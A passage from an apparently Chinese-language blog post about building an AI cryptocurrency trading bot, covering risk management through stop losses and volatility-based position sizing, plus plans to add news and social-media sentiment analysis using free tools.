id="9%E3%80%81%E8%B5%84%E6%9C%AC%E4%BF%9D%E6%8A%A4%E6%98%AF%E7%8E%8B%E9%81%93%EF%BC%9A%E8%AE%A4%E7%9C%9F%E5%AF%B9%E5%BE%85%E7%A8%B3%E5%81%A5%E7%9A%84%E9%A3%8E%E9%99%A9%E7%AE%A1%E7%90%86">9&#x3001;&#x8D44;&#x672C;&#x4FDD;&#x62A4;&#x662F;&#x738B;&#x9053;&#xFF1A;&#x8BA4;&#x771F;&#x5BF9;&#x5F85;&#x7A33;&#x5065;&#x7684;&#x98CE;&#x9669;&#x7BA1;&#x7406;</h2><p><strong>&#x95EE;&#x9898;&#xFF1A;</strong> &#x6211;&#x7684;&#x7B2C;&#x4E00;&#x4E2A;&#x56DE;&#x6D4B;&#x8005;&#x5BF9;&#x98CE;&#x9669;&#x975E;&#x5E38;&#x5929;&#x771F;&#x3002;LSTM&#x7684;&#x707E;&#x96BE;&#x6027;&#x66B4;&#x8DCC;&#x76F4;&#x63A5;&#x6E90;&#x4E8E;&#x6B64;&#x3002;&#x8FD9;&#x662F;&#x4E00;&#x4E2A;&#x75DB;&#x82E6;&#x4F46;&#x7EDD;&#x5BF9;&#x91CD;&#x8981;&#x7684;&#x6559;&#x8BAD;&#xFF1A;&#x6CA1;&#x6709;&#x4FDD;&#x62A4;&#x7684;&#x9884;&#x6D4B;&#x53EA;&#x662F;&#x5FEB;&#x901F;&#x5931;&#x53BB;&#x8D44;&#x91D1;&#x7684;&#x65B9;&#x5F0F;&#x3002;</p><p><strong>&#x89E3;&#x51B3;&#x65B9;&#x6848;&#xFF1A;</strong> &#x8FD9;&#x5176;&#x5B9E;&#x662F;&#x4E00;&#x4E2A;&#x4E0D;&#x8A00;&#x800C;&#x55BB;&#x7684;&#x89E3;&#x51B3;&#x65B9;&#x6848;&#x3002;&#x6211;&#x7EDD;&#x5BF9;&#x5FC5;&#x987B;&#x5EFA;&#x7ACB;&#x660E;&#x786E;&#x7684;&#x3001;&#x7A33;&#x5065;&#x7684;&#x98CE;&#x9669;&#x7BA1;&#x7406;&#x89C4;&#x5219;&#x3002;&#x6211;&#x6307;&#x7684;&#x662F;&#x6B62;&#x635F;&#x548C;&#x66F4;&#x806A;&#x660E;&#x7684;&#x4ED3;&#x4F4D;&#x5927;&#x5C0F;&#x3002;</p><pre><code># &#x4E00;&#x4E9B;&#x5173;&#x4E8E;&#x98CE;&#x9669;&#x7BA1;&#x7406;&#x7684;&#x521D;&#x6B65;&#x60F3;&#x6CD5;&#x3002;  

# &#x81EA;&#x9002;&#x5E94;&#x4ED3;&#x4F4D;&#x5927;&#x5C0F; - &#x4E0D;&#x628A;&#x5168;&#x90E8;&#x62BC;&#x5728;&#x6BCF;&#x4E00;&#x6B21;&#x4EA4;&#x6613;&#x4E0A;&#xFF1A;  
# current_market_volatility = figure_out_how_crazy_the_market_is_right_now()  
# # &#x6839;&#x636E;&#x6CE2;&#x52A8;&#x6027;&#x53CD;&#x5411;&#x8C03;&#x6574;&#x4E0B;&#x6CE8;&#x5927;&#x5C0F;&#xFF0C;&#x6709;&#x4E00;&#x4E9B;&#x5408;&#x7406;&#x7684;&#x4E0A;&#x9650;  
# position_size_percentage = max(0.01, min(0.1, 0.05 / (current_market_volatility + 1e-6)))   

# &#x6B62;&#x635F; - &#x77E5;&#x9053;&#x4F55;&#x65F6;&#x653E;&#x5F03;&#xFF1A;  
# stop_loss_trigger_percentage = 0.02 # &#x4F8B;&#x5982;&#xFF0C;&#x5165;&#x573A;&#x4EF7;&#x7684;2%&#x6B62;&#x635F;&#x3002;&#x4E0D;&#x53EF;&#x534F;&#x5546;&#x3002;
</code></pre><ul><li><strong>&#x6B62;&#x635F;&#xFF1A;&#x6211;&#x7684;&#x5B89;&#x5168;&#x7F51;&#x3002;</strong> &#x8FD9;&#x662F;&#x7248;&#x672C;2.0&#x4E2D;&#x4E0D;&#x53EF;&#x534F;&#x5546;&#x7684;&#x3002;&#x786C;&#x6027;&#x6B62;&#x635F;&#x9650;&#x5236;&#x4E86;&#x6211;&#x5728;&#x4EFB;&#x4F55;&#x5355;&#x7B14;&#x4EA4;&#x6613;&#x4E2D;&#x7684;&#x635F;&#x5931;&#x3002;&#x518D;&#x4E5F;&#x4E0D;&#x4F1A;&#x770B;&#x7740;&#x6211;&#x7684;&#x865A;&#x62DF;&#x6743;&#x76CA;&#x84B8;&#x53D1;&#xFF01;</li><li><strong>&#x66F4;&#x806A;&#x660E;&#x7684;&#x4E0B;&#x6CE8;&#xFF08;&#x4ED3;&#x4F4D;&#x5927;&#x5C0F;&#xFF09;&#xFF1A;</strong> &#x4E0D;&#x662F;&#x5728;&#x6BCF;&#x6B21;&#x4EA4;&#x6613;&#x4E2D;&#x90FD;&#x5192;&#x540C;&#x6837;&#x7684;&#x98CE;&#x9669;&#xFF0C;&#x6211;&#x9700;&#x8981;&#x8C03;&#x6574;&#x6211;&#x7684;&#x4ED3;&#x4F4D;&#x5927;&#x5C0F;&#x3002;&#x4E5F;&#x8BB8;&#x5728;&#x6CE2;&#x52A8;&#x6027;&#x9AD8;&#x7684;&#x65F6;&#x5019;&#x5192;&#x66F4;&#x5C11;&#x7684;&#x98CE;&#x9669;&#xFF0C;&#x6216;&#x8005;&#x5728;&#x6A21;&#x578B;&#x4E0D;&#x662F;&#x5F88;&#x81EA;&#x4FE1;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x800C;&#x5728;&#x6761;&#x4EF6;&#x6709;&#x5229;&#x7684;&#x65F6;&#x5019;&#x5192;&#x4E00;&#x70B9;&#x98CE;&#x9669;&#x3002;&#x6211;&#x6700;&#x521D;&#x7684;&#x56FA;&#x5B9A;&#x4ED3;&#x4F4D;&#x5927;&#x5C0F;&#x65B9;&#x6CD5;&#x53EA;&#x662F;&#x5728;&#x627E;&#x9EBB;&#x70E6;&#x3002;</li></ul><h2 id="10%E3%80%81%E5%80%BE%E5%90%AC%E4%BA%BA%E7%BE%A4%EF%BC%88%E5%92%8C%E6%96%B0%E9%97%BB%EF%BC%89%EF%BC%9A%E8%9E%8D%E5%85%A5%E6%83%85%E6%84%9F%E5%88%86%E6%9E%90">10&#x3001;&#x503E;&#x542C;&#x4EBA;&#x7FA4;&#xFF08;&#x548C;&#x65B0;&#x95FB;&#xFF09;&#xFF1A;&#x878D;&#x5165;&#x60C5;&#x611F;&#x5206;&#x6790;</h2><p><strong>&#x95EE;&#x9898;&#xFF1A;</strong> &#x4EF7;&#x683C;&#x56FE;&#x8868;&#x548C;&#x6280;&#x672F;&#x6307;&#x6807;&#xFF1F;&#x5B83;&#x4EEC;&#x53EA;&#x544A;&#x8BC9;&#x4F60;&#x90E8;&#x5206;&#x53D1;&#x751F;&#x4E86;&#x4EC0;&#x4E48;&#x3002;&#x7279;&#x522B;&#x662F;&#x5728;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x4E16;&#x754C;&#x4E2D;&#xFF0C;&#x5E02;&#x573A;&#x60C5;&#x7EEA;&#x2014;&#x2014;&#x96C6;&#x4F53;&#x60C5;&#x7EEA;&#x3001;&#x7092;&#x4F5C;&#x3001;&#x6050;&#x60E7;&#x3001;&#x4E0D;&#x786E;&#x5B9A;&#x6027;&#x3001;&#x6000;&#x7591;&#xFF08;FUD&#xFF09;&#x2014;&#x2014;&#x53EF;&#x4EE5;&#x662F;&#x4E00;&#x4E2A;&#x975E;&#x5E38;&#x5F3A;&#x5927;&#x4E14;&#x7ECF;&#x5E38;&#x662F;<em>&#x9886;&#x5148;</em>&#x7684;&#x4EF7;&#x683C;&#x9A71;&#x52A8;&#x56E0;&#x7D20;&#x3002;&#x6211;&#x7684;&#x6A21;&#x578B;&#x5BF9;&#x6B64;&#x662F;&#x804B;&#x7684;&#x3002;<strong>&#x89E3;&#x51B3;&#x65B9;&#x6848;&#xFF1A;</strong> &#x6211;&#x5C06;&#x5C1D;&#x8BD5;&#x6574;&#x5408;&#x6765;&#x81EA;&#x5404;&#x79CD;&#x6765;&#x6E90;&#x7684;&#x60C5;&#x611F;&#x6570;&#x636E;&#x3002;&#x8FD9;&#x662F;&#x5F88;&#x91CD;&#x8981;&#x7684;&#x4E00;&#x70B9;&#xFF0C;&#x8BF4;&#x5B9E;&#x8BDD;&#xFF0C;&#x6211;&#x5BF9;&#x8FDB;&#x5165;&#x8FD9;&#x4E2A;&#x9886;&#x57DF;&#x611F;&#x5230;&#x975E;&#x5E38;&#x5174;&#x594B;&#x3002;</p><h3 id="101-%E6%88%91%E6%89%93%E7%AE%97%E4%BB%8E%E5%93%AA%E9%87%8C%E8%8E%B7%E5%8F%96%E8%BF%99%E4%BA%9B%E6%83%85%E6%84%9F%E6%95%B0%E6%8D%AE">10.1 &#x6211;&#x6253;&#x7B97;&#x4ECE;&#x54EA;&#x91CC;&#x83B7;&#x53D6;&#x8FD9;&#x4E9B;&#x60C5;&#x611F;&#x6570;&#x636E;</h3><p>&#x6211;&#x4E00;&#x76F4;&#x5728;&#x7814;&#x7A76;&#x51E0;&#x4E2A;&#x4E0D;&#x540C;&#x7684;&#x9014;&#x5F84;&#xFF1A;</p><ul><li>Google Trends API (pytrends)</li><li>StockTwits API / &#x5176;&#x4ED6;&#x793E;&#x4EA4;&#x5A92;&#x4F53;&#xFF08;&#x5982;Twitter&#x3001;Reddit&#xFF09;</li></ul><h3 id="102-%E4%BB%A4%E4%BA%BA%E5%A4%B4%E7%96%BC%E7%9A%84%E9%83%A8%E5%88%86%EF%BC%9A%E6%96%B0%E9%97%BB%E5%86%B2%E5%87%BB%EF%BC%8C%E4%BD%86%E5%B8%82%E5%9C%BA%E4%BB%80%E4%B9%88%E6%97%B6%E5%80%99%E6%84%9F%E5%8F%97%E5%88%B0%E5%AE%83%EF%BC%9F"><strong>10.2 &#x4EE4;&#x4EBA;&#x5934;&#x75BC;&#x7684;&#x90E8;&#x5206;&#xFF1A;&#x65B0;&#x95FB;&#x51B2;&#x51FB;&#xFF0C;&#x4F46;&#x5E02;&#x573A;&#x4EC0;&#x4E48;&#x65F6;&#x5019;<em>&#x611F;&#x53D7;&#x5230;</em>&#x5B83;&#xFF1F;</strong></h3><p>&#x6211;&#x5DF2;&#x9884;&#x6599;&#x5230;&#x7684;&#x4E00;&#x4EF6;&#x4E8B;&#x662F;&#x5E02;&#x573A;&#x5E76;&#x4E0D;&#x603B;&#x662F;&#x5373;&#x65F6;&#x6216;&#x53EF;&#x9884;&#x6D4B;&#x5730;&#x5BF9;&#x65B0;&#x95FB;&#x505A;&#x51FA;&#x53CD;&#x5E94;&#xFF1A;</p><ul><li><strong>&#x91CD;&#x5927;&#x65B0;&#x95FB;&#xFF08;&#x4E3B;&#x8981;&#x4EA4;&#x6613;&#x6240;&#x4E0A;&#x5E02;&#x3001;&#x5927;&#x9ED1;&#x5BA2;&#x3001;&#x76D1;&#x7BA1;&#x70B8;&#x5F39;&#xFF09;&#xFF1A;</strong> &#x9AD8;&#x9891;&#x4EA4;&#x6613;&#x7B97;&#x6CD5;&#x548C;&#x8D85;&#x7EA7;&#x5173;&#x6CE8;&#x8005;&#x53EF;&#x80FD;&#x5728;<strong>1&#x2013;5&#x5206;&#x949F;</strong>&#x5185;&#x505A;&#x51FA;&#x53CD;&#x5E94;&#x3002;&#x5176;&#x4F59;&#x4EBA;&#xFF1F;&#x5B83;&#x53EF;&#x80FD;&#x9700;&#x8981;&#x66F4;&#x957F;&#x65F6;&#x95F4;&#x624D;&#x80FD;&#x4F20;&#x64AD;&#x3002;</li><li><strong>&#x9884;&#x5B9A;&#x6570;&#x636E;&#xFF08;&#x7ECF;&#x6D4E;&#x62A5;&#x544A;&#x7B49;&#x2014;&#x2014;&#x5BF9;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x6765;&#x8BF4;&#x4E0D;&#x592A;&#x76F4;&#x63A5;&#x4F46;&#x4ECD;&#x6709;&#x5F71;&#x54CD;&#xFF09;&#xFF1A;</strong> &#x901A;&#x5E38;&#x5728;<strong>15&#x2013;30&#x5206;&#x949F;</strong>&#x5185;&#x5E02;&#x573A;&#x5F00;&#x59CB;&#x6D88;&#x5316;&#xFF0C;&#x5F71;&#x54CD;&#x53EF;&#x80FD;&#x6301;&#x7EED;&#x6570;&#x5C0F;&#x65F6;&#x3002;</li><li><strong>&#x5206;&#x6790;&#x5E08;&#x62A5;&#x544A;/&#x610F;&#x89C1;&#x9886;&#x8896;&#x558A;&#x8BDD;&#xFF08;&#x5982;&#x679C;&#x8DB3;&#x591F;&#x5927;&#xFF09;&#xFF1A;</strong> &#x53EF;&#x80FD;&#x5728;<strong>2&#x2013;24&#x5C0F;&#x65F6;</strong>&#x5185;&#x968F;&#x7740;&#x6D88;&#x606F;&#x4F20;&#x64AD;&#x3002;</li><li><strong>&#x793E;&#x4EA4;&#x5A92;&#x4F53;&#x8C23;&#x8A00;/FUD/FOMO&#xFF1A;</strong> &#x8FD9;&#x662F;&#x4E0D;&#x53EF;&#x9884;&#x6D4B;&#x7684;&#x3002;&#x53EF;&#x80FD;&#x5728;&#x5927;&#x610F;&#x89C1;&#x9886;&#x8896;&#x53D1;&#x63A8;&#x6587;&#x65F6;&#x7ACB;&#x5373;&#x53D1;&#x751F;&#xFF0C;&#x6216;&#x8005;&#x8C23;&#x8A00;&#x75C5;&#x6BD2;&#x5F0F;&#x4F20;&#x64AD;&#x3002;&#x6216;&#x8005;&#xFF0C;&#x5B83;&#x53EF;&#x80FD;&#x53EA;&#x662F;&#x6D88;&#x5931;&#xFF0C;&#x6BEB;&#x65E0;&#x610F;&#x4E49;&#x3002;</li></ul><h3 id="103-%E6%88%91%E9%A2%84%E6%9C%9F%E7%9A%84%E6%83%85%E6%84%9F%E5%A4%84%E7%90%86%E5%A4%B4%E7%97%9B">10.3 &#x6211;&#x9884;&#x671F;&#x7684;&#x60C5;&#x611F;&#x5904;&#x7406;&#x5934;&#x75DB;</h3><p>&#x5904;&#x7406;&#x539F;&#x59CB;&#x6587;&#x672C;&#x5F88;&#x9EBB;&#x70E6;&#x3002;&#x6211;&#x77E5;&#x9053;&#x6211;&#x5C06;&#x9047;&#x5230;&#x6311;&#x6218;&#xFF0C;&#x8BD5;&#x56FE;&#x51C6;&#x786E;&#x5224;&#x65AD;&#x60C5;&#x611F;&#xFF1A;</p><ul><li><strong>&#x8BBD;&#x523A;&#x548C;&#x53CD;&#x8BBD;&#xFF1A;</strong> &#x201C;&#x54E6;&#xFF0C;<em>&#x597D;</em>&#x7684;&#x5DE5;&#x4F5C;&#xFF0C;SEC&#x2026;&#x201D;&#x53EF;&#x80FD;&#x662F;&#x5426;&#x5B9A;&#x7684;&#xFF0C;&#x5373;&#x4F7F;&#x7528;&#x4E86;&#x6B63;&#x9762;&#x8BCD;&#x3002;</li><li><strong>&#x4E0A;&#x4E0B;&#x6587;&#x662F;&#x5173;&#x952E;&#xFF1A;</strong> &#x201C;&#x6BD4;&#x7279;&#x5E01;&#x66B4;&#x8DCC;&#x81F3;6&#x4E07;&#x7F8E;&#x5143;&#x3002;&#x201D;&#x4E0D;&#x597D;&#xFF0C;&#x5BF9;&#x5427;&#xFF1F;&#x4F46;&#x5982;&#x679C;&#x5B83;&#x4E0A;&#x4E2A;&#x6708;&#x662F;3&#x4E07;&#x7F8E;&#x5143;&#xFF0C;&#x800C;&#x8FD9;&#x662F;&#x672A;&#x6765;&#x725B;&#x5E02;&#x9AD8;&#x5CF0;&#x7684;&#x5934;&#x6761;&#x5462;&#xFF1F;&#x6216;&#x8005;&#x6709;&#x4EBA;&#x968F;&#x610F;&#x5730;&#x8BF4;&#xFF0C;&#x201C;&#x6BD4;&#x7279;&#x5E01;&#x66B4;&#x8DCC;<em>&#x5411;&#x4E0A;</em>&#x81F3;6&#x4E07;&#x7F8E;&#x5143;&#xFF01;&#x201D;&#xFF08;&#x610F;&#x601D;&#x662F;&#x5B83;&#x98D9;&#x5347;&#xFF09;&#x3002;</li><li><strong>&#x8C01;&#x8BF4;&#x7684;&#xFF1F;&#xFF08;&#x6765;&#x6E90;&#x53EF;&#x4FE1;&#x5EA6;&#x548C;&#x610F;&#x56FE;&#xFF09;&#xFF1A;</strong> &#x4E00;&#x6761;&#x6765;&#x81EA;&#x77E5;&#x540D;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x5206;&#x6790;&#x5E08;&#x7684;&#x63A8;&#x6587;&#xFF1F;&#x53EF;&#x80FD;&#x6BD4;&#x4E00;&#x4E2A;&#x533F;&#x540D;&#x8D26;&#x6237;&#x66F4;&#x6709;&#x610F;&#x4E49;&#x3002;&#x6765;&#x6E90;&#x662F;&#x60F3;&#x544A;&#x77E5;&#x3001;&#x64CD;&#x7EB5;&#x60C5;&#x7EEA;&#xFF0C;&#x8FD8;&#x662F;&#x53EA;&#x662F;&#x53D1;&#x6CC4;&#xFF1F;</li><li><strong>&#x672F;&#x8BED;&#xFF08;&#x91D1;&#x878D;&#x672F;&#x8BED;&#x548C;&#x7F29;&#x5199;&#xFF09;&#xFF1A;</strong> &#x6211;&#x7684;&#x6A21;&#x578B;&#x9700;&#x8981;&#x7406;&#x89E3;&#x201C;HODL&#x201D;&#x3001;&#x201C;FUD&#x201D;&#x3001;&#x201C;&#x94BB;&#x77F3;&#x624B;&#x201D;&#x3001;&#x201C;ATH&#x201D;&#x3001;&#x201C;DeFi&#x201D;&#x3001;&#x201C;NFTs&#x201D;&#x548C;&#x6240;&#x6709;&#x5176;&#x4ED6;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x4FDA;&#x8BED;&#x3002;</li><li><strong>&#x8868;&#x60C5;&#x7B26;&#x53F7;&#x548C;&#x6A21;&#x7CCA;&#x6027;&#xFF1A;</strong> &#x201C;BTC&#x5230;&#x6708;&#x4EAE; &#x1F680;&#x1F315;&#x201D;&#x2014;&#x2014;&#x663E;&#x7136;&#x79EF;&#x6781;&#x3002; &#x201C;BTC&#x4F1A;&#x5230;&#x6708;&#x4EAE;&#x5417;&#xFF1F; &#x1F914;&#x201D;&#x2014;&#x2014;&#x66F4;&#x52A0;&#x4E0D;&#x786E;&#x5B9A;&#x3002;</li></ul><h3 id="104-%E6%88%91%E5%A4%84%E7%90%86%E6%83%85%E6%84%9F%E7%9A%84%E8%AE%A1%E5%88%92">10.4 &#x6211;&#x5904;&#x7406;&#x60C5;&#x611F;&#x7684;&#x8BA1;&#x5212;</h3><p>&#x6839;&#x636E;&#x6211;&#x8BFB;&#x5230;&#x7684;&#x5185;&#x5BB9;&#x548C;&#x4E00;&#x4E9B;&#x521D;&#x6B65;&#x7684;&#x5934;&#x8111;&#x98CE;&#x66B4;&#xFF0C;&#x8FD9;&#x662F;&#x6211;&#x601D;&#x8003;&#x7684;&#x65B9;&#x6CD5;&#xFF1A;</p><ul><li><strong>&#x4E0D;&#x8981;&#x628A;&#x6240;&#x6709;&#x9E21;&#x86CB;&#x653E;&#x5728;&#x4E00;&#x4E2A;&#x7BEE;&#x5B50;&#x91CC;&#xFF08;&#x591A;&#x6E90;&#x65B9;&#x6CD5;&#xFF09;&#xFF1A;</strong> &#x6211;&#x4E0D;&#x4F1A;&#x53EA;&#x4F9D;&#x8D56;&#x4E00;&#x4E2A;&#x60C5;&#x611F;&#x6765;&#x6E90;&#x3002;&#x6211;&#x4F1A;&#x5C1D;&#x8BD5;&#x7ED3;&#x5408;2-3&#x79CD;&#x4E0D;&#x540C;&#x7C7B;&#x578B;&#x7684;&#x4FE1;&#x606F;&#x6E90;&#x2014;&#x2014;&#x53EF;&#x80FD;&#x662F;&#x4E00;&#x822C;&#x65B0;&#x95FB;&#x3001;&#x4E00;&#x4E9B;&#x4E13;&#x6CE8;&#x4E8E;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x7684;&#x793E;&#x4EA4;&#x5A92;&#x4F53;&#xFF0C;&#x5982;&#x679C;&#x6211;&#x80FD;&#x5F97;&#x5230;&#x7684;&#x8BDD;&#xFF0C;&#x8FD8;&#x6709;&#x94FE;&#x4E0A;&#x60C5;&#x611F;&#x3002;</li><li><strong>&#x60C5;&#x611F;&#x968F;&#x65F6;&#x95F4;&#x53D8;&#x5316;&#xFF08;&#x6EDE;&#x540E;&#x7279;&#x5F81;&#xFF09;&#xFF1A;</strong> &#x4E0D;&#x4EC5;&#x4EC5;&#x662F;&#x73B0;&#x5728;&#x7684;&#x611F;&#x60C5;&#x3002;&#x5B83;&#x662F;&#x5982;&#x4F55;&#x53D8;&#x5316;&#x7684;&#xFF1F;&#x6240;&#x4EE5;&#x6211;&#x5C06;&#x5C1D;&#x8BD5;&#x521B;&#x5EFA;&#x4EE5;&#x4E0B;&#x7279;&#x5F81;&#xFF1A;</li><li><code>Sentiment_Score_Now</code></li><li><code>Sentiment_Score_1hr_Ago</code></li><li><code>Sentiment_Score_6hr_Ago</code></li><li><code>Sentiment_Change_Rate_Last_Hour</code>&#xFF08;&#x5B83;&#x662F;&#x5728;&#x53D8;&#x5F97;&#x66F4;&#x79EF;&#x6781;&#x8FD8;&#x662F;&#x66F4;&#x6D88;&#x6781;&#xFF1F;&#xFF09;</li><li><code>Sentiment_Volatility</code>&#xFF08;&#x60C5;&#x611F;&#x7A33;&#x5B9A;&#x8FD8;&#x662F;&#x5230;&#x5904;&#x90FD;&#x662F;&#xFF1F;&#xFF09;</li><li><strong>&#x5E76;&#x975E;&#x6240;&#x6709;&#x6765;&#x6E90;&#x90FD;&#x540C;&#x7B49;&#x91CD;&#x8981;&#xFF08;&#x6765;&#x6E90;&#x52A0;&#x6743;&#x548C;&#x8FC7;&#x6EE4;&#xFF09;&#xFF1A;</strong></li><li>&#x6211;&#x4F1A;&#x5C1D;&#x8BD5;&#x7ED9;&#x53EF;&#x4FE1;&#x65B0;&#x95FB;&#x6765;&#x6E90;&#xFF08;&#x5982;&#x8DEF;&#x900F;&#x793E;&#x6216;&#x5F6D;&#x535A;&#x793E;&#xFF0C;&#x5982;&#x679C;&#x6211;&#x80FD;&#x8BBF;&#x95EE;&#x7684;&#x8BDD;&#xFF09;&#x66F4;&#x591A;&#x6743;&#x91CD;&#xFF0C;&#x800C;&#x4E0D;&#x662F;&#x4E00;&#x4E9B;&#x968F;&#x673A;&#x535A;&#x5BA2;&#x3002;</li><li>&#x5728;&#x793E;&#x4EA4;&#x5A92;&#x4F53;&#x4E0A;&#xFF0C;&#x6211;&#x4F1A;&#x5C1D;&#x8BD5;&#x8FC7;&#x6EE4;&#x6389;&#x4E00;&#x4E9B;&#x6765;&#x81EA;&#x7C89;&#x4E1D;&#x8F83;&#x5C11;&#x6216;&#x53C2;&#x4E0E;&#x5EA6;&#x4F4E;&#x7684;&#x8D26;&#x6237;&#x7684;&#x566A;&#x97F3;&#x3002;</li><li>&#x6700;&#x8FD1;&#x7684;&#x65B0;&#x95FB;&#x901A;&#x5E38;&#x6BD4;&#x65E7;&#x65B0;&#x95FB;&#x66F4;&#x91CD;&#x8981;&#xFF0C;&#x4F46;&#x6211;&#x8981;&#x8003;&#x8651;&#x4E0D;&#x540C;&#x7C7B;&#x578B;&#x4FE1;&#x606F;&#x53D8;&#x5F97;&#x8FC7;&#x65F6;&#x7684;&#x901F;&#x5EA6;&#x3002;</li><li><strong>&#x5408;&#x9002;&#x7684;&#x5DE5;&#x5177;&#xFF1A;&#xFF08;NLP&#x6280;&#x672F;&#xFF09;&#xFF1A;</strong></li><li><strong>&#x57FA;&#x4E8E;&#x8BCD;&#x5178;&#x7684;&#x65B9;&#x6CD5;</strong>&#xFF08;&#x5982;VADER&#x6216;SentiWordNet&#xFF09;&#xFF1A;&#x8FD9;&#x4E9B;&#x5BF9;&#x4E8E;&#x4E00;&#x822C;&#x60C5;&#x611F;&#x5F88;&#x6709;&#x7528;&#xFF0C;&#x901A;&#x5E38;&#x66F4;&#x5BB9;&#x6613;&#x5B9E;&#x73B0;&#x3002;&#x4F46;&#x5B83;&#x4EEC;&#x53EF;&#x80FD;&#x5728;&#x5904;&#x7406;&#x6240;&#x6709;&#x7279;&#x5B9A;&#x91D1;&#x878D;&#x672F;&#x8BED;&#x65F6;&#x9047;&#x5230;&#x56F0;&#x96BE;&#x3002;</li><li><strong>&#x57FA;&#x4E8E;&#x673A;&#x5668;&#x5B66;&#x4E60;&#x7684;&#x5206;&#x7C7B;&#x5668;&#xFF1A;</strong> &#x4E3A;&#x4E86;&#x66F4;&#x597D;&#x7684;&#x51C6;&#x786E;&#x6027;&#xFF0C;&#x7279;&#x522B;&#x662F;&#x5BF9;&#x4E8E;&#x7279;&#x5B9A;&#x9886;&#x57DF;&#x7684;&#x8BED;&#x8A00;&#xFF0C;&#x6211;&#x53EF;&#x80FD;&#x9700;&#x8981;&#x8BAD;&#x7EC3;&#x81EA;&#x5B9A;&#x4E49;&#x7684;&#x60C5;&#x611F;&#x6A21;&#x578B;&#xFF08;&#x4F7F;&#x7528;&#x8BF8;&#x5982;&#x6734;&#x7D20;&#x8D1D;&#x53F6;&#x65AF;&#x3001;SVM&#x6216;&#x751A;&#x81F3;&#x66F4;&#x5148;&#x8FDB;&#x7684;BERT&#x6A21;&#x578B;&#xFF09;&#x3002;&#x8FD9;&#x80AF;&#x5B9A;&#x662F;&#x66F4;&#x7E41;&#x7410;&#x7684;&#x5DE5;&#x4F5C;&#xFF0C;&#x56E0;&#x4E3A;&#x5B83;&#x9700;&#x8981;&#x826F;&#x597D;&#x7684;&#x6807;&#x6CE8;&#x6570;&#x636E;&#xFF0C;&#x4F46;&#x53EF;&#x80FD;&#x662F;&#x771F;&#x6B63;&#x6DF1;&#x5165;&#x7406;&#x89E3;&#x6240;&#x5FC5;&#x9700;&#x7684;&#x3002;</li></ul><figure class="kg-card kg-image-card"><img src="https://defiplot.com/blog/content/images/2025/12/image-13.png" class="kg-image" alt="AI &#x4EA4;&#x6613;: &#x5F53;&#x7406;&#x8BBA;&#x4E0E;&#x73B0;&#x5B9E;&#x76F8;&#x9047;" loading="lazy" width="1100" height="1411" srcset="https://defiplot.com/blog/content/images/size/w600/2025/12/image-13.png 600w, https://defiplot.com/blog/content/images/size/w1000/2025/12/image-13.png 1000w, https://defiplot.com/blog/content/images/2025/12/image-13.png 1100w" sizes="(min-width: 720px) 720px"></figure><h3 id="105-%E4%BB%8E%E4%BE%BF%E5%AE%9C%E5%A4%84%E5%BC%80%E5%A7%8B%EF%BC%9A%E6%88%91%E4%B8%BA%E8%BF%99%E4%B8%AA%E7%A0%94%E7%A9%B6%E9%98%B6%E6%AE%B5%E7%9A%84%E6%88%90%E6%9C%AC%E6%95%88%E7%9B%8A%E5%B7%A5%E5%85%B7%E5%8C%85%EF%BC%9A">10.5 &#x4ECE;&#x4FBF;&#x5B9C;&#x5904;&#x5F00;&#x59CB;&#xFF1A;&#x6211;&#x4E3A;&#x8FD9;&#x4E2A;&#x7814;&#x7A76;&#x9636;&#x6BB5;&#x7684;&#x6210;&#x672C;&#x6548;&#x76CA;&#x5DE5;&#x5177;&#x5305;&#xFF1A;</h3><p>&#x5BF9;&#x4E8E;&#x50CF;&#x6211;&#x8FD9;&#x6837;&#x4F5C;&#x4E3A;&#x7814;&#x7A76;&#x9879;&#x76EE;&#x8FDB;&#x884C;&#x7684;&#x4E2A;&#x4EBA;&#xFF08;&#x8BFB;&#x4F5C;&#xFF1A;&#x9884;&#x7B97;&#x6709;&#x9650;&#xFF09;&#xFF0C;&#x4EE5;&#x4E0B;&#x662F;&#x4E00;&#x4E9B;&#x6211;&#x8BA1;&#x5212;&#x5F00;&#x59CB;&#x4F7F;&#x7528;&#x7684;&#x514D;&#x8D39;&#x6216;&#x514D;&#x8D39;&#x8BD5;&#x7528;&#x5DE5;&#x5177;&#xFF1A;</p><ol><li><strong><a href="http://newsapi.org/?ref=defiplot.com">NewsAPI.org</a>&#xFF08;&#x514D;&#x8D39;&#x7248;&#xFF09;&#xFF1A;</strong> &#x8FD9;&#x5C06;&#x4F7F;&#x6211;&#x80FD;&#x591F;&#x8BBF;&#x95EE;&#x4E00;&#x822C;&#x65B0;&#x95FB;&#x6587;&#x7AE0;&#x3002;&#x6211;&#x9700;&#x8981;&#x81EA;&#x5DF1;&#x5BF9;&#x6807;&#x9898;&#x6216;&#x5185;&#x5BB9;&#x8FDB;&#x884C;&#x60C5;&#x611F;&#x5206;&#x6790;&#x3002;</li><li><strong>Reddit PRAW&#xFF08;Python Reddit API&#x5305;&#x88C5;&#x5668; - &#x514D;&#x8D39;&#xFF09;&#xFF1A;</strong> &#x6211;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;&#x5B83;&#x6765;&#x6293;&#x53D6;&#x76F8;&#x5173;&#x5B50;&#x7248;&#x5757;&#xFF08;&#x5982;r/CryptoCurrency&#x3001;r/Bitcoin&#xFF09;&#x3002;&#x8FD9;&#x662F;&#x96F6;&#x552E;&#x60C5;&#x7EEA;&#x7684;&#x6D77;&#x91CF;&#x6765;&#x6E90;&#xFF0C;&#x4F46;&#x9700;&#x8981;&#x8FC7;&#x6EE4;&#x6389;&#x5F88;&#x591A;&#x566A;&#x97F3;&#x3002;</li><li><strong>yfinance&#xFF08;&#x514D;&#x8D39;&#xFF09;&#xFF1A;</strong> &#x8FD9;&#x4E2A;&#x5E93;&#x53EF;&#x4EE5;&#x63D0;&#x53D6;&#x4E0E;&#x80A1;&#x7968;&#x4EE3;&#x7801;&#x76F8;&#x5173;&#x7684;&#x65B0;&#x95FB;&#x5934;&#x6761;&#xFF08;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x7684;&#x8986;&#x76D6;&#x53EF;&#x80FD;&#x4EC5;&#x9650;&#x4E8E;&#x5927;&#x540D;&#xFF0C;&#x4F46;&#x4ECD;&#x6709;&#x7528;&#xFF09;&#x3002;</li><li><strong>Alpha 